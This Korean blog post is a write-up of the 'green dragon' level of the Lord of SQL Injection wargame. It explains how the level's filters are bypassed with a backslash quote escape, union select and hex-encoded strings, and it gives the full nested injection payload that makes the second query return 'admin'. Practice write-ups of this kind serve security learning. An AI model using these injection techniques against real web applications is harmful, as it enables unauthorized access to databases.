ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> green dragon
    Wargame/Lord of SQL Injection 2021. 11. 27. 16:40

    green dragon

    GET 방식으로 전달받은 id와 pw에서 prob, _, ., ', " 를 필터링한다.

    $query를 통해 id와 pw를 가져와 $result 배열로 저장한다.

    $result['id']가 참이면 $query2를 통한 id를 $result 배열로 저장한다.

    $result['id']가 'admin'이면 문제가 풀린다.

     

    '\' 뒤에 특수문자가 오면 일반 문자로 인식한다.

    ?id=\&pw= or 1=1%23을 입력하면 항상 참이지만 아무 것도 출력하지 않는다.

    prob_green_dragon 테이블이 비어있음을 짐작할 수 있다.

    따라서 union select를 이용해야 한다.

     

    ?id=\&pw=union select 1,2%23을 입력하면

    select id,pw from prob_green_dragon where id='\' and pw='union select 1,2#'

    빨간 부분이 단순한 문자열로 인식된다. 두 번째 쿼리도 정상적으로 출력된다.

     

    prob_green_dragon이 빈 테이블이므로 두 번째 쿼리의 id와 pw를 무효화시키고 union select admin을 하면 될 것 같다.

     

    두 번째 쿼리의 형태가

    select id from prob_green_dragon where id='\' and  pw=' union select 'admin'#'이 되도록 해야한다.

    싱글 쿼터(')나 더블 쿼터(")를 필터링하기 때문에 'admin'은 hex값으로 입력한다.

    즉, select id from prob_green_dragon where id='\' and  pw=' union select 0x61646d696e%23'

     

    두 번째 쿼리를 위와 같은 형태로 만들기 위해

    첫 번째 쿼리가

    select id,pw from prob_green_dragon where id='\' and pw='union select \, union select 0x61646d696e%23%23'가 되어야 한다.

    pw='union select \,union select 0x61646d696e%23%23' 부분의 \와 union select 0x61646d696e%23도 싱글 쿼터, 더블 쿼터를 사용할 수 없기에 hex 값으로 바꿔 입력한다.

     

    ?id=\&pw= union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23을 입력하면

    첫 번째 쿼리는

    select id,pw from prob_green_dragon where id='\' and pw='

    union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523#' 가 되고,

    두 번째 쿼리는

    select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#' 가 된다.

     

    뒤의 select 0x61646d696e을 통해 admin이 된다.

     

Designed by Tistory.